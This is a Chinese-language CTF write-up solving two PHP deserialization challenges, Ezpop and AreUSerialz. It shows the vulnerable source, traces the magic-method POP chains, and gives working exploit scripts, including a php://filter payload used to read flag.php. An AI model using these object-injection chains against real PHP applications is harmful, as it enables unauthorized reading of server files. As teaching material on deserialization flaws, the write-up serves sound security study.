[MRCTF2020]Ezpop

  1. <?php
  2. //flag is in flag.php
  3. //WTF IS THIS?
  4. //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
  5. //And Crack It!
  6. class Modifier {
  7.     protected  $var;
  8.     public function append($value){
  9.         include($value);
  10.     }
  11.     public function __invoke(){
  12.         $this->append($this->var);
  13.     }
  14. }
  16. class Show{
  17.     public $source;
  18.     public $str;
  19.     public function __construct($file='index.php'){
  20.         $this->source = $file;
  21.         echo 'Welcome to '.$this->source."<br>";
  22.     }
  23.     public function __toString(){
  24.         return $this->str->source;
  25.     }
  27.     public function __wakeup(){
  28.         if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
  29.             echo "hacker";
  30.             $this->source = "index.php";
  31.         }
  32.     }
  33. }
  35. class Test{
  36.     public $p;
  37.     public function __construct(){
  38.         $this->p = array();
  39.     }
  41.     public function __get($key){
  42.         $function = $this->p;
  43.         return $function();
  44.     }
  45. }
  47. if(isset($_GET['pop'])){
  48.     @unserialize($_GET['pop']);
  49. }
  50. else{
  51.     $a=new Show;
  52.     highlight_file(__FILE__);
  53. }

先看最下面的if 语句，判断是否以get方式传参pop，如果有对pop进行反序列化，否则实例化类show并且高亮index.php
分别看一下几个类

  1. class Modifier {
  2.     protected  $var;
  3.     public function append($value){
  4.         include($value);
  5.     }
  6.     public function __invoke(){
  7.         $this->append($this->var);
  8.     }
  9. }

声明一个保护类型变量，先定义了append方法，里面可以包含变量$value
又定义了一个__invoke魔术方法，触发条件当脚本尝试将对象调用为函数时触发，操作：将变量$var的值传给append方法并调用

  1. class Show{
  2.     public $source;
  3.     public $str;
  4.     public function __construct($file='index.php'){
  5.         $this->source = $file;
  6.         echo 'Welcome to '.$this->source."<br>";
  7.     }
  8.     public function __toString(){
  9.         return $this->str->source;
  10.     }
  12.     public function __wakeup(){
  13.         if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
  14.             echo "hacker";
  15.             $this->source = "index.php";
  16.         }
  17.     }
  18. }

定义了公有变量$source和变量$str，又使用construct方法初始化$file且值为index.php,输出index.php的内容
定义了toString方法，将str的值赋给source
__wakeup函数，反序列化时被触发，操作对source变量的内容进行匹配，并且对source赋值为index.php

  1. class Test{
  2.     public $p;
  3.     public function __construct(){
  4.         $this->p = array();
  5.     }
  7.     public function __get($key){
  8.         $function = $this->p;
  9.         return $function();
  10.     }
  11. }

将变量p的内容赋给数组，方法get用于从不可访问的属性读取数据，即在调用私有属性的时候会自动执行
反推一下：
1.我们需要利用类Modifier里的include这个函数，可以利用伪协议将flag读取出来，include函数需要使用invoke()来触发，触发条件当脚本尝试将对象调用为函数时触发，需要找到满足的条件
2.get魔术方法以function()函数返回this->p，我们需要将this->p设置为Modifier的实例化对象，那么而且上面对this->p赋值的操作是construct()控制,就可以利用construct
3.类Test里的get()魔术方法，也需要一定的条件触发，即在读取不可访问的属性的数据时，才会被触发,只有Show类中的toString()，需要将$this->str设置为Test类的实例化对象
4.toString触发条件：toString()当一个类被当成字符串使用时触发，而wakeup()魔术方法中的正则匹配就可以触发，我们只需要将this->source设置为show类的实例化对象，就可以触发__toString
大致pop链：

  1. Modifier::__invoke<--Test::__get()<--Show::_toString()<--Show::__wakeup()<--Show::__construct()

exp

  1. <?php
  2. class Modifier{
  3.     protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
  4. }
  6. class Test{
  7.         public $p;
  8. }
  10. class Show{
  11.        public $source;
  12.        public $str;
  13.        public function __construct(){
  14.            $this->str = new Test();
  15.        }
  16. }
  17. $a =new Show();
  18. $a->source =new Show();
  19. $a->source->str->p =new Modifier();
  21. echo urlencode(serialize($a));
  22. ?>

[网鼎杯 2020 青龙组]AreUSerialz

  1. <?php
  3. include("flag.php");
  5. highlight_file(__FILE__);
  7. class FileHandler {
  9.     protected $op;
  10.     protected $filename;
  11.     protected $content;
  13.     function __construct() {
  14.         $op = "1";
  15.         $filename = "/tmp/tmpfile";
  16.         $content = "Hello World!";
  17.         $this->process();
  18.     }
  20.     public function process() {
  21.         if($this->op == "1") {
  22.             $this->write();
  23.         } else if($this->op == "2") {
  24.             $res = $this->read();
  25.             $this->output($res);
  26.         } else {
  27.             $this->output("Bad Hacker!");
  28.         }
  29.     }
  31.     private function write() {
  32.         if(isset($this->filename) && isset($this->content)) {
  33.             if(strlen((string)$this->content) > 100) {
  34.                 $this->output("Too long!");
  35.                 die();
  36.             }
  37.             $res = file_put_contents($this->filename, $this->content);
  38.             if($res) $this->output("Successful!");
  39.             else $this->output("Failed!");
  40.         } else {
  41.             $this->output("Failed!");
  42.         }
  43.     }
  45.     private function read() {
  46.         $res = "";
  47.         if(isset($this->filename)) {
  48.             $res = file_get_contents($this->filename);
  49.         }
  50.         return $res;
  51.     }
  53.     private function output($s) {
  54.         echo "[Result]: <br>";
  55.         echo $s;
  56.     }
  58.     function __destruct() {
  59.         if($this->op === "2")
  60.             $this->op = "1";
  61.         $this->content = "";
  62.         $this->process();
  63.     }
  65. }
  67. function is_valid($s) {
  68.     for($i = 0; $i < strlen($s); $i++)
  69.         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
  70.             return false;
  71.     return true;
  72. }
  74. if(isset($_GET{'str'})) {
  76.     $str = (string)$_GET['str'];
  77.     if(is_valid($str)) {
  78.         $obj = unserialize($str);
  79.     }
  81. }

反序列化类型的题，拆开FileHandler这个类看看

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

定义了三个保护性变量，初始化变量并且赋值，调用process类

 public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

如果变量op==1，调用write()类；如果op==2调用read()类，并且输出调用结果；以上都不是就输出Bad hacker！

private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

私有方法write()，判断是否存在filename和content，content的内容不能太长，将content写进filename内，如果成功，调用output输出Successful；否则输出Failed

 private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

存在文件的话就读取，并且输出返回结果

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}

析构函数，如果op==2,重新赋值为1，content为空，再调用process()，到这类FileHandler结束

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

会对我们输入的str进行限制，str里的每个字符都必须大于32，小于125
试着逆推一下pop链构造：

FileHandler:read()<--FileHandler:proccess()<--FileHandler:__destruct()

destruct里为强类型比较，process为弱类型
使destruct里的if为false，而process为true
对于protected的数据序列化时的%00绕过方法：因为php7.1以上的版本对属性类型不敏感，所以可以将属性改为public，public属性序列化不会出现不可见字符

exp

<?php
class FileHandler{
    public $op = 2;
    public $filename="flag.php"; //php:filter/read=convert.base64-encode/resource=flag.php
    public $content = "2";

}
$a = new FileHandler();
echo serialize($a);
?>